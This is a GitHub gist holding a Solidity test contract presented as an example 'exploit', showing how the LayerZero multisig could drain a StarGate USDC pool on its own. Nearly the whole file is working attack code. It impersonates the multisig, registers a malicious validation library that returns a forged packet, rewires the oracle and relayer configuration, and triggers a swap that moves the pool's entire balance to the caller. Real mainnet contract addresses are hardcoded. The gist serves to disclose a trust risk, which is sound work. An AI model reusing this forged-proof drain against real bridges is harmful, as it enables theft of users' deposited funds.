Skip to content

Instantly share code, notes, and snippets.

@trayvox
Last active July 21, 2022 19:49
Show Gist options
  • Save trayvox/c8aad4710ef6e3b1ad92cd1680379c49 to your computer and use it in GitHub Desktop.
Save trayvox/c8aad4710ef6e3b1ad92cd1680379c49 to your computer and use it in GitHub Desktop.
Example "exploit" showing how the Layer Zero multisig can rug StarGate by itself
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import {ERC20, SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol";
struct Packet {
uint16 srcChainId;
uint16 dstChainId;
uint64 nonce;
address dstAddress;
bytes srcAddress;
bytes32 ulnAddress;
bytes payload;
}
interface IUltraLightNode {
function addInboundProofLibraryForChain(uint16 _chainId, address _library)
external;
function validateTransactionProof(
uint16 _srcChainId,
address _dstAddress,
uint256 _gasLimit,
bytes32 _lookupHash,
bytes calldata _transactionProof
) external;
struct BlockData {
uint256 confirmations;
bytes32 data;
}
function maxInboundProofLibrary(uint16) external view returns (uint16);
function hashLookup(
address,
uint16,
bytes32
) external view returns (BlockData memory);
function updateHash(
uint16 _srcChainId,
bytes32 _lookupHash,
uint256 _confirmations,
bytes32 _data
) external;
function ulnLookup(uint16) external view returns (bytes32);
function setDefaultConfigForChainId(
uint16 _chainId,
uint16 _inboundProofLibraryVersion,
uint64 _inboundBlockConfirmations,
address _relayer,
uint16 _outboundProofType,
uint16 _outboundBlockConfirmations,
address _oracle
) external;
}
interface IEndpoint {
function setConfig(
uint16 _version,
uint16 _chainId,
uint256 _configType,
bytes calldata _config
) external;
function inboundNonce(uint16, bytes memory) external view returns (uint64);
function receivePayload(
uint16 _srcChainId,
bytes calldata _srcAddress,
address _dstAddress,
uint64 _nonce,
uint256 _gasLimit,
bytes calldata _payload
) external;
}
interface IRouter {
function swapRemote(
uint16 _srcChainId,
bytes memory _srcAddress,
uint256 _nonce,
uint256 _srcPoolId,
uint256 _dstPoolId,
uint256 _dstGasForCall,
address _to,
IPool.SwapObj memory _s,
bytes memory _payload
) external;
}
interface IBridge {
function bridgeLookup(uint16) external view returns (bytes memory);
function lzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) external;
function setConfig(
uint16 _version,
uint16 _chainId,
uint256 _configType,
bytes calldata _config
) external;
}
interface IPool {
struct SwapObj {
uint256 amount;
uint256 eqFee;
uint256 eqReward;
uint256 lpFee;
uint256 protocolFee;
uint256 lkbRemove;
}
struct CreditObj {
uint256 credits;
uint256 idealBalance;
}
function swapRemote(
uint16 _srcChainId,
uint256 _srcPoolId,
address _to,
SwapObj memory _s
) external returns (uint256 amountLD);
function token() external view returns (address);
function chainPathIndexLookup(uint16, uint256)
external
view
returns (uint256);
}
contract MaliciousValidation {
Packet public packet;
function setPacket(
uint16 srcChainId,
uint16 dstChainId,
uint64 nonce,
address dstAddress,
bytes memory srcAddress,
bytes32 ulnAddress,
bytes memory payload
) public {
packet = Packet(
srcChainId,
dstChainId,
nonce,
dstAddress,
srcAddress,
ulnAddress,
payload
);
}
function validateProof(
bytes32 blockData,
bytes calldata _data,
uint256 _remoteAddressSize
) external returns (Packet memory) {
return packet;
}
}
contract L0 is DSTestPlus {
address internal constant ENDPOINT =
address(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675);
address internal constant ROUTER =
address(0x8731d54E9D02c286767d56ac03e8037C07e01e98);
address internal constant BRIDGE =
address(0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97);
address internal constant POOL =
address(0xdf0770dF86a8034b3EFEf0A1Bb3c889B8332FF56);
address internal constant ULTRA_LIGHT_NODE =
address(0x5B19bd330A84c049b62D5B0FC2bA120217a18C1C);
address internal constant ORACLE =
address(0x41c69c8ffb4049fc393ed68Ec0Ce66c37f8CF7a0);
address internal constant RELAYER =
address(0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa);
address internal constant VALIDATION_LIB =
address(0x2D61DCDD36F10b22176E0433B86F74567d529aAa);
address internal constant OWNER_ENDPOINT =
address(0x9F403140Bc0574D7d36eA472b82DAa1Bbd4eF327);
address internal constant OWNER_BRIDGE =
address(0x65bb797c2B9830d891D87288F029ed8dACc19705);
address internal constant MULTISIG =
address(0xCDa8e3ADD00c95E5035617F970096118Ca2F4C92);
function run() public {
hevm.label(ENDPOINT, "ENDPOINT");
hevm.label(BRIDGE, "BRIDGE");
hevm.label(ULTRA_LIGHT_NODE, "ULTRA_LIGHT_NODE");
// Assume that the hot wallet is malicious
emit log(
"Draining the pool assuming hot wallet is malicious"
);
ERC20 token = ERC20(IPool(POOL).token());
uint256 drainAmount = token.balanceOf(POOL);
uint256 dstPoolId = 1;
uint16 srcChainId = 10;
MaliciousValidation validation = new MaliciousValidation();
hevm.label(address(validation), "Validation");
hevm.startPrank(MULTISIG);
emit log("MULTISIG add malicious library");
IUltraLightNode(ULTRA_LIGHT_NODE).addInboundProofLibraryForChain(
srcChainId,
address(validation)
);
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6);
uint256 balanceBefore = token.balanceOf(address(this));
emit log("MULTISIG updates default configuration");
IUltraLightNode(ULTRA_LIGHT_NODE).setDefaultConfigForChainId(
srcChainId,
IUltraLightNode(ULTRA_LIGHT_NODE).maxInboundProofLibrary(
srcChainId
),
1, // inboundblockConfirmations
MULTISIG, // Relayer
1, // outboundProofType
1, // outbountConfirmations
MULTISIG // Oracle
);
bytes32 hash = bytes32("Assume independence");
emit log("MULTISIG update hash for (bytes32(Assume independence))");
IUltraLightNode(ULTRA_LIGHT_NODE).updateHash(
srcChainId,
hash,
420,
bytes32("")
);
{
bytes memory srcAddress = IBridge(BRIDGE).bridgeLookup(srcChainId);
IPool.SwapObj memory swapData = IPool.SwapObj({
amount: drainAmount,
eqFee: 0,
eqReward: 0,
lpFee: 0,
protocolFee: 0,
lkbRemove: 0
});
bytes memory payload = abi.encode(
uint8(1), // type
uint256(0), // src pool id,
dstPoolId,
uint256(0),
IPool.CreditObj(0, 0),
swapData,
abi.encodePacked(address(this)), // to
bytes("")
);
emit log("MULTISIG update the value returned by the 'validation'");
validation.setPacket(
srcChainId,
0,
uint64(
IEndpoint(ENDPOINT).inboundNonce(srcChainId, srcAddress)
) + 1,
BRIDGE, // dstAddress
srcAddress,
IUltraLightNode(ULTRA_LIGHT_NODE).ulnLookup(srcChainId),
payload
);
}
emit log("MULTISIG drains the pool on eth");
IUltraLightNode(ULTRA_LIGHT_NODE).validateTransactionProof(
srcChainId, //_srcChainId,
BRIDGE, //_dstAddress,
2e6, // _gasLimit,
hash, // _lookupHash
bytes("") // _transactionProof
);
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6);
emit log_named_decimal_uint(
"USDC Profit",
token.balanceOf(address(this)) - balanceBefore,
6
);
assertEq(
token.balanceOf(address(this)) - balanceBefore,
drainAmount,
"No Profit"
);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment